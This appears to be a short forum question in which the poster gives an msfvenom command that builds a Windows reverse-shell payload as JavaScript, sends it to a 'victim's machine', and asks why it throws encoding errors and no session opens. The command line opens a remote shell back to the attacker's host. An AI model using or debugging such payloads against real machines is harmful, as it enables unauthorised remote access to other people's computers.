Metasploit JavaScript

msfvenom -p windows/shell_reverse_tcp LHOST=$LOCALIP LPORT=443 -f js_le -e generic/none > shell.js

When trying to generate this payload it is in encoded formats , like %5853 etc , when trying the pass it to the victims machine and open it i generates an errors.

And the session wont open , any help ?